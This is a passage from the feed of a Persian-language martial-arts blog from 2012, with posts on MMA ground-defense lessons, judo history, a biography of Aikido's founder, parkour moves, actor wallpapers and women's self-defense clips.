می‌دهد.</p><span style="font-weight: bold; color: rgb(255, 0, 0);">ادامه متن در ادامه مطلب</span> text/html 2012-06-30T11:40:08+01:00 hanmudo.mihanblog.com admin آموزش مبارزات آزاد:دفاع رو خاک قسمت دوم http://hanmudo.mihanblog.com/post/315 <div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/" target="" title=""><img src="http://selfdefense.persiangig.com/image/MountEscapes-part2.jpg" alt="آموزش مبارزات آزاد:دفاع رو خاک قسمت دوم" align="texttop" border="1" hspace="0" vspace="0"></a><br><br><div style="text-align: right;"><span style="font-weight: bold;">با سلام خدمت همراهان همیشگی</span><br><br>امیدوارم قسمت اول مجموعه آموزش دفاع روی خاک رو که در پست های قبلی منتشر کردیم رو دانلود و استفاده کرده باشید.در این پست قسمت بعدی این فیلم آموزشی را در اختیار شما عزیزان قرار داده ایم.امیدواریم مورد پسند شما واقع شود.<br>همانطور که قبلا هم گفتم شما باید برای تمرین از یک یار تمرینی خوب کمک بگیرید تا بتوانید تکنیک ها و حرکات را به نحوی صحیح انجام دهید.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">برای دانلود کلیپ و اطلاعات بیشتر در مورد آن به ادامه مطلب بروید</span><br><br></div></div> text/html 2012-06-26T12:53:44+01:00 hanmudo.mihanblog.com admin والپیپرها و تصاویر رزمیکار محبوب اسکات ادکینز http://hanmudo.mihanblog.com/post/314 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://self-defense.ir" target="_blank" title=""><img src="http://selfdefense.persiangig.com/image/scotwall.jpg" alt="والپیپرها و تصاویر رزمیکار محبوب اسکات ادکینز" align="texttop" border="1" hspace="0" vspace="0"></a></div><br><div>خدمت بازدیدکنندگان عزیز <span style="font-weight: bold;">سلامی گرم</span> دارم.امیدوارم در فصل تابستان وقت بیشتری برای بهره مندی از مطالب وبسایت ما داشته باشید.به هر حال مدارس تعطیل شدند و بیشتر مخاطبان ما هم نوجوانان هستند.انشا الله بیشتر بتونیم در خدمتتون باشیم.<br>قطعا رزمیکار معروف اسکات ادکینز رو میشناسید. قبلا کلیپ ها ، تصاویر و زندگینامه این آرتیست محبوب رو در وبسایت قرار دادیم.در این پست تصاویری رو برای طرفداران اسکات آماده کرده ایم.تصاویری که عمدتا با کیفیت و حجم بالا تهیه شده اند و قطعا مورد پسند واقع خواهند شد.<br><br><span style="font-weight: bold;">ادکینز در فیلم هایی نظیر:</span><br><span style="color: rgb(255, 0, 0);">Ninja ,The Tournament,Stag Night,Undisputed II, The Expendables 2 , The Metal Hurlant Chronicles ,El Gringo, Universal Soldier,Re-Kill,Undisputed III</span><br><br>و چند فیلم دیگر نقش آفرینی کرده.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">دانلود تصاویر و والپیپرها در ادامه مطلب</span><br><br><br></div></div> text/html 2012-06-24T07:57:13+01:00 hanmudo.mihanblog.com admin تاثیر رنگها بر کیفیت تمرینات رزمی http://hanmudo.mihanblog.com/post/313 <div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/rangha.jpg" alt="تاثیر رنگها بر کیفیت تمرینات رزمی" align="texttop" border="1" hspace="0" vspace="0"></a><br><br></div><span style="font-weight: bold; color: rgb(255, 0, 0);">با سلام خدمت بازدیدکنندگان عزیز</span><br><br>در این پست با مقاله جالب در خدممتون هستیم.حتما تا به حال در مورد روانشناسی رنگها مطالبی رو مطالعه کرده اید.و تاثیرات اون رو کم و بیش میدونید.مقاله ای که امروز آماده کردم اطلاعاتی رو در این مورد در اختیارتون میذاره.با تشکر از مهندس حسین یوسفی(محقق و پژوهشگر هنرهای رزمی) که این مقاله رو آماده و منتشر ساخته اند.<br><br><span style="font-weight: bold;">برای مطالعه این مقاله به ادامه مطلب مراجعه کنید</span><br> text/html 2012-06-20T07:21:06+01:00 hanmudo.mihanblog.com admin زندگی نامه استاد بزرگ موریهه اوشیبا http://hanmudo.mihanblog.com/post/312 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://self-defense.ir" target="_blank" title=""><img src="http://selfdefense.persiangig.com/image/ushiba2.jpg" alt="زندگی نامه استاد بزرگ موریهه اوشیبا" align="texttop" border="1" hspace="0" vspace="0"></a></div><br></div><div style="text-align: justify;">بنیانگذار آیکیدو، موریهه او شیبا، در ۱۴ دسامبر سال ۱۸۸۳ در منطقه <font face="Arial">Wakayama </font><font face="Tahoma">که امروزه بنام Tanabe شناخته می شود در خانواده ای کشاورز بدنیا آمد. در بین پنج فرزند خانواده او تنها پسر بود. از پدرش Yoroku او ظاهر سامورائی و علاقه به کارهای جمعی را به ارث برده بود و از مادرش دلبستگی شدید به مذهب، شعر و هنر&nbsp;را. در دوران کودکی موریهه آنقدر ضعیف و مریض بود که ترجیح داده می شد تا بجای بازی کردن بیرون از خانه درخانه بماند و کتاب بخواند.<br><br>&nbsp;او عاشق گوش دادن به افسانه های شگفت انگیز درباره قدیسهای خارق العاده "<font face="Arial">En no Gyoja</font>" و "<font face="Arial">Kobo Daishi</font>" و شیفته مراسم محرمانه&nbsp; بودائی ها بود. موریهه حتی یکبار به این فکر کرده بود که یک&nbsp;کشیش بودایی شود.<br><br><span style="font-weight: bold;">ادامه زندگینامه این مرد بزرگ تاریخ در ادامه مطلب</span><br></font></div> text/html 2012-06-19T03:39:02+01:00 hanmudo.mihanblog.com admin انیمیشن آموزشی حرکات مقدماتی پارکور http://hanmudo.mihanblog.com/post/311 <div style="text-align: center;"><a href="http://self-defense.ir" target="" title=""><img src="http://selfdefense.persiangig.com/image/parkourr.jpg" alt="انیمیشن آموزشی حرکات مقدماتی پارکور " align="texttop" border="1" hspace="0" vspace="0"></a><br><br></div><span style="font-weight: bold;">خدمت همه ی ورزش دوستان عزیز سلام دارم</span><br><br>با شما هستیم با یک <a href="http://hanmudo.mihanblog.com/post/category/27" target="" title="کلیپ">کلیپ</a> آموزشی در مورد رشته مهیج پارکور که مطمئنا طرفدارای زیادی داره.تو این کلیپ چند دقیقه ای چند حرکت ساده به شکل انیمیشن متحرک آموزش داده شده.البته مطمئنا برای یادگیری کامل ، این کلیپ کافی نمیباشد ولی برای افراد مبتدی که میخواهند درک بهتری از اجرای صحیح این حرکات داشته باشند بسیار مفید است.<br><br><div style="text-align: center; color: rgb(255, 0, 0);"><span style="font-weight: bold;">آموزش این حرکات به صورت ابتدایی در این کلیپ گنجانده شده:</span><br></div><ol><li style="font-weight: bold;">catlip</li><li style="font-weight: bold;">king kong</li><li style="font-weight: bold;">landing</li><li style="font-weight: bold;">lazy</li><li style="font-weight: bold;">rolamanto</li><li style="font-weight: bold;">speed</li><li style="font-weight: bold;">tic-tac</li><li style="font-weight: bold;">turn</li><li><span style="font-weight: bold;">...</span><br></li></ol><span style="font-weight: bold; color: rgb(0, 0, 153);">اطلاعات بیشتر و دانلود کلیپ در ادامه مطلب </span><br> text/html 2012-06-13T07:25:09+01:00 hanmudo.mihanblog.com admin آموزش مبارزات آزاد:دفاع رو خاک قسمت اول http://hanmudo.mihanblog.com/post/310 <div style="text-align: center;"><a href="http://self-defense.ir" target="_blank" title=""><img src="http://selfdefense.persiangig.com/image/ufc.jpg" alt="آموزش مبارزات آزاد:دفاع رو خاک قسمت اول" align="texttop" border="1" hspace="0" vspace="0"></a><br><br></div><span style="font-weight: bold; color: rgb(255, 0, 0);">با سلام خدمت شما عزیزان</span><br><br>همانطور که وعده داده بودم امروز اولین پست <a href="http://self-defense.ir/post/category/30" target="_blank" title="">آموزش مبارزات آزاد </a>رو منتشر میکنم.در این مطلب شما آموزش میبینید که چگونه از خود در برابر حریف هنگامی که خاک شده اید دفاع کنید.آموزش این مجموعه یعنی دفاع در خاک در 4 قسمت تهیه شده است که اولین قسمت آن را میتوانید در ادامه مطلب مشاهده و دانلود نمایید.<br><br>در ابتدا لازم است در حد چند کلمه در مورد مبارزات آزاد اطلاعاتی را در اختیارتان بگذارم تا با این رشته بیشتر آشنا بشید.<br>مبارزات آزاد شامل مبارزات رینگی میباشید که حریفان میتوانند از انواع تکنیک ها و حرکات انواع رشته های رزمی از جمله کیک بوکس،جودو،کشتی،و دیگر رشته ها استفاده نمایند.این رشته قوانین خاص خود را دارد که از جمله آنها که مهمترین آنها نیز میباشد شکست حریف به روش قفل کردن و تسلیم اوست.یعنی این مبارزه تا زمانی ادامه پیدا میکند که یکی از حریفان تسلیم دیگری شود و از ادامه مسابقه انصراف دهد.<br><br><div style="text-align: center;"><span style="font-weight: bold; color: rgb(51, 51, 255);">لازم به ذکر است که فیلم ها به زبان اصلی(انگلیسی) ارائه میشود</span><br></div><br><div style="text-align: center; color: rgb(255, 0, 0);"><span style="font-weight: bold;">همانطور که خدمتتون گفتم در این پست آموزش دفاع روی خاک رو براتون قرار دادم که میتونید در ادامه مطلب دانلود نمایید.<br><br><span style="color: rgb(204, 51, 204);">این آموزش ها را حتما باید با یک یار تمرینی مطمئن انجام بدید تا نتیجه مطلوب بگیرید.</span></span><br style="font-weight: bold;"><br style="font-weight: bold;"><span style="font-weight: bold; color: rgb(51, 51, 255);">ممنون میشم نظرات و پیشنهاداتتون رو در مورد این آموزش بیان کنید</span><br></div> text/html 2012-06-05T04:57:41+01:00 hanmudo.mihanblog.com admin خبرخوش:آموزش مبارزات آزاد(ufc&MMA) به زودی http://hanmudo.mihanblog.com/post/309 <div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/post/category/30" target="_blank" title="آموزش مبارزات آزاد"><img src="http://selfdefense.persiangig.com/image/ufclearn.jpg" alt="خبرخوش:آموزش مبارزات آزاد(ufc&amp;MMA) به زودی " align="texttop" border="1" hspace="0" vspace="0"></a><br><br></div><span style="font-weight: bold; color: rgb(255, 0, 0);">با سلام خدمت دوستان عزیز و همراهان گرامی</span><br><br>بله تعجب نکنید.برای اولین بار میخوایم <a href="http://hanmudo.mihanblog.com/post/category/30" target="_blank" title="آموزش مبارزات آزاد">آموزش مبارزات آزاد</a> رو در سایت منتشر کنیم.بهترین روش های حمله و دفاع مخصوص افرادی که قصد دارند این رشته ها رو بدون هیچ هزینه ای یاد بگیرند.بهتون وعده داده بودم که ادامه راه رو با همت و تلاشی بیشتر ادامه بدم.اینم اولین گام بلند برای رسیدن به این هدف.<br><br>امیدوارم این آموزش ها هم مثل دیگر مطالب سایت مورد توجهتون قرار بگیره.پس منتظر پست های فوق العاده آموزشی در زمینه مبارزات آزاد باشید.آموزش هایی که سعی میشه هم به صورت کلیپ و هم به صورت تصویر انتشار داده بشه تا بهترین بهره از اونا برده بشه.<br><br><div style="text-align: center; color: rgb(255, 0, 0);"><span style="font-weight: bold;">افتخار ما تلاش بی چشم داشت و&nbsp; هدف ما رضایت خاطر هرچه بیشتر رزمی دوستان ایران اسلامی ست.امیدوارم در این راه کوتاهی نکنم.</span><br></div><br><br> text/html 2012-06-04T06:31:48+01:00 hanmudo.mihanblog.com admin معرفی و تاریخچه سبک جودو http://hanmudo.mihanblog.com/post/308 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/post/category/3" target="_blank" title="رشته های رزمی"><img src="http://selfdefense.persiangig.com/image/judo.jpg" alt="معرفی و تاریخچه سبک جودو" align="texttop" border="1" hspace="0" vspace="0"></a><br><br><div style="text-align: right;"><span style="color: rgb(255, 0, 0);">در این پست به بررسی رشته جودو میپردازیم.قابل ذکر است که این مطلب توسط مدیریت وبسایت باشگام مجازی کیوکوشین به آدرس </span><span style="font-weight: bold; color: rgb(0, 0, 0);">www.kyokushinclub.ir</span><span style="color: rgb(255, 0, 0);"> تهیه شده است.از مدیر این سایت رزمی به خاطر این مطلبشون تشکر میکنیم.</span><br><br></div></div>کلمه <a href="http://self-defense.ir" target="" title=""><span style="font-weight: bold;">جودو </span></a><span style="font-weight: bold;"></span>را به عبادت (سبک ملایم) ترجمه کرده اند جودو یک هنر رزمی است که در آن حریفان بدون داشتن اسلحه با یکدیگر مبارزه می کنند و امروز هم به عنوان یک ورزش پرطرفدار در جهان شهر تپیدا کرده است. قوانین این ورزش، ترکیبی از قوانین دیگر هنرهای رزمی است: هدف از این سبک، انداختن حریف به روی زمین با فشار آوردن به مفصل های بازو یا گردن و کنترل او می باشد. تکنیک های موجود در این سبک بیشتر به رفع حملات رقیب منتهی می شود و مقابله مستقیم با دشمن کمتر مورد توجه قرار می گیرد. <br>برای انجام فنون این ورزش، در ابتدا باید خونسرد و متکی به نفس بود. لباس هایی که برای این ورزش مورد استفاده قرار می گیرند، به جودوجی (Judoji) شهرت دارند و عبارتند از یک ژاکت گشاد و راحت و شلوارهای سفید و کلفت که ورزشکار در آنها احساس راحتی می کند.<br><br><span style="font-weight: bold; color: rgb(255, 0, 0);">برای دیدن تمام مطلب به ادامه مطلب مراجعه کنید</span></div> text/html 2012-06-03T18:39:52+01:00 hanmudo.mihanblog.com admin سخنی کوتاه از خودم به مناسبت تولد یکسالگی وبسایت دفاع شخصی http://hanmudo.mihanblog.com/post/307 <div style="text-align: justify;"><div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/" target="_blank" title="آموزش دفاع شخصی "><img src="http://selfdefense.persiangig.com/image/dafaashakhsi.jpg" alt="سخنی کوتاه از خودم به مناسبت تولد یکسالگی وبسایت دفاع شخصی" align="texttop" border="1" hspace="0" vspace="0"></a></div><br></div><div style="text-align: justify;"><span style="color: rgb(255, 0, 0);">با این که چند روزی از <span style="font-weight: bold; color: rgb(51, 51, 255);">تولد یک سالگی وبسایت آموزش دفاع شخصی</span> میگذره ولی میخوام این مناسبت رو تبریک بگم و از اینکه تو این یکسال تونستم با مطالب مفید و لازم ذهن جامعه رو به سمت <span style="font-weight: bold;">دفاع شخصی</span> و دنیای رزمی&nbsp; جلب کنم اظهار شادمانی کنم.امیدوارم تا به اینجا از مطالب ما استفاده کرده و بهره کافی و لازم رو برده باشید.</span><br><span style="color: rgb(255, 0, 0);"></span><br><span style="color: rgb(0, 0, 0);">یکسال مثل برق و باد گذشت با تمامی اتفاقات خوب و بدش.شاید تو دوسه ماه اخیر نتونستم مطالب رو بیشتر کنم و پست ها رو زود به زود آپ کنم <span style="text-decoration: underline;">اما از امروز میخوام بیشتر و بهتر در خدمتتون باشم</span>.از شما هم میخوام که به بنده لطف کنید و نظراتتون رو در مورد مطالب عرض کنید.<span style="font-weight: bold;">میدونید چرا این درخواست رو ازتون دارم</span>.به خاطر اینکه از این طریق <span style="color: rgb(255, 0, 0); font-weight: bold;">بهتر میتونم نیاز شما رو درک کنم</span>.پس خواهشا پیشنهادات و انتقاداتتون رو برای هر مطلب <span style="font-weight: bold;">ثبت کنید</span> و مطمئن باشید که <span style="font-weight: bold;">به نظراتتون اهمیت میدم</span>.پست های وبلاگ حاوی مطالب جدید و کمیابی هستند پس خواهشا این لطف رو از من دریغ نکنید.</span><br><span style="color: rgb(255, 0, 0);"></span><br><span style="color: rgb(51, 51, 255);">صحبتای زیادی دارم ولی نمیخوام خستتون کنم.ممنون که این پست رو تا آخرش خوندید.شاید درد دل های دیگم رو تو پست ها آینده منتشر کنم.پس درخواست منو فراموش نکنید و یادتون باشه <span style="font-weight: bold; color: rgb(255, 0, 0);">رضایت شماست که به من دلگرمی میده.</span></span><br><br><div style="text-align: center; color: rgb(51, 51, 255);"><font size="3"><a style="font-weight: bold;" href="http://hanmudo.mihanblog.com/extrapage/nazar" target="_blank" title="">لطفا در این نظرسنجی شرکت کنید</a></font><font size="3"><span style="font-weight: bold;"></span><br></font></div><br><div style="text-align: center; color: rgb(51, 51, 255);"><font size="2"></font></div></div> text/html 2012-06-03T18:28:42+01:00 hanmudo.mihanblog.com admin مجموعه تکنیک های دفاع شخصی دکتر رادلس مخصوص بانوان http://hanmudo.mihanblog.com/post/306 <div style="text-align: center;"><a href="http://hanmudo.mihanblog.com/" target="_blank" title="آموزش دفاع شخصی بانوان"><img src="http://selfdefense.persiangig.com/image/womendrruthless.jpg" alt="مجموعه تکنیک های دفاع شخصی دکتر رادلس مخصوص بانوان" align="texttop" border="1" hspace="0" vspace="0"></a><br><br></div><span style="font-weight: bold; color: rgb(255, 0, 0);">خدمت بازدیدکنندگان و طرفداران وبسایت دفاع شخصی سلام عرض میکنم<br><span style="font-weight: bold;"><br></span></span><span style="color: rgb(51, 51, 51);">تجربیات من در این یکسالی که وبسایت دفاع شخصی رو راه اندازی کردم نشون میده تکنیک ها و آموزش های دفاع شخصی توجه 70% بازدیدکننده ها را به خودش جلب کرده است.تکنیک هایی که به جرات میتونم بگم هرگز تو هیچ یک از وبسایت های رزمی ایرانی یافت نمیشود.</span><span style="color: rgb(255, 0, 0);"><span style="color: rgb(0, 0, 0);"><br><br>تو این پست تصمیم گرفتم چندتا تکنیک دفاع شخصی جدید مخصوص بانوان قرار بدم.این تکنیک ها توسط مدرس دفاع شخصی خانم دکتر رادلس(dr-ruthless) آموزش داده شده.در ادامه مطلب میتوانید هم کلیپ را دانلود کنید و هم اطلاعاتی در زمینه این مربی کسب نمایید.<br><br><span style="font-weight: bold;">برای دانلود کلیپ به ادامه مطلب بروید<br><br style="color: rgb(51, 51, 51);"></span></span></span><div style="text-align: center;"><a href="http://buy.razmshop.ir/index.php?route=product/product&amp;product_id=67" target="_blank" title="آموزش دفاع شخصی هان مودو"><img src="http://buy.razmshop.ir/banners/hanmudo46860.gif" alt="آموزش هان مودو" align="texttop" border="0" hspace="0" vspace="0"></a></div><span style="color: rgb(255, 0, 0);"><span style="color: rgb(0, 0, 0);"><br></span></span>